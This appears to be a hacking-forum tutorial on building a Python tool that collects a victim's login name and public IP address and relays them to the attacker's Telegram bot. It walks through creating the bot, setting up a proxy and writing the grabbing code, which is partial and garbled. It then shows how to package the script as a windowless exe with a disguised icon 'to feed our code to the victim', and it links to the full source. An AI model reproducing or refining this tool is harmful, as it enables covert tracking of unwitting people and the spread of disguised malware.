Finding out someone else's IP - Python implementation

Hacker

Professional
Messages
1,046
Reputation
9
Reaction score
752
Points
113
Installing Python

Click on the link - https://python.org/. Download the latest version and install it.

c568a68ff8dbba974ce18.png

Creating A Bot

Enter the name "@BotFather" in the search bar. We start a dialog with it and create a new bot, which we need to come up with a name with the ending "_bot". After that, BotFather will issue us a token to manage our bot.

Code:
/start
/newbot

After that, we need to send any message to the bot from our account. Next, we click on the link.

Code:
https://api.telegram.org/bot** * YOUR_TOKEN***/getUpdates #follow this link
chat": {"id":yourid #find your chatid on the page that opens, these are the logs of your bot

We're done with the bot, so let's move on. Remember your chatid!

Writing code

Importing the modules that we need:

Python:
Python:
import requests
from os import getlogin

=========================================

Unfortunately, telegram does not work on the territory of the Russian Federation. You will need to enable a proxy. Even free ones will do.

Python:
Python:
http_proxy = "http://proxy"
https_proxy = "https://proxy"
ftp_proxy = "ftp://proxy
proxy = {
"http" : http_proxy,
"https" : https_proxy,
"ftp" : ftp_proxy
}

=========================================

Main part of the code

Python:
Python:
p = False # For the next loop
while p == False: # Condition
 try: # Trying to get an IP address
 name_of_user = getlogin () # Getting
the user name ip_pc = requests. get ('http://httpbin.org/ip'). content # Making a request to the site
ip_pc = ip_pc. decode ('utf-8') # Decoding
ip = ""
for i in ip_pc: # Clearing out garbage

=========================================

We compile it into an exe to feed our code to the victim

Let's use the PyInstaller program. It can be installed thanks to the command that we need to enter in CMD: pip install pyinstaller. Here are the Pyinstaller arguments that we will use:

1) - F, will collect all files in one exe file.

2) - w, disables the console .

3) - i ***path to the icon***, an argument that will connect the icon to the program .

Final command for CMD: pyinstaller-F -w-i * * * icon path*** * * * file path .py***.

Source code

You can download the source code here - https://filecloud.me/95l8uuwwkhjx.html.

Password: h0peIess.
 
Top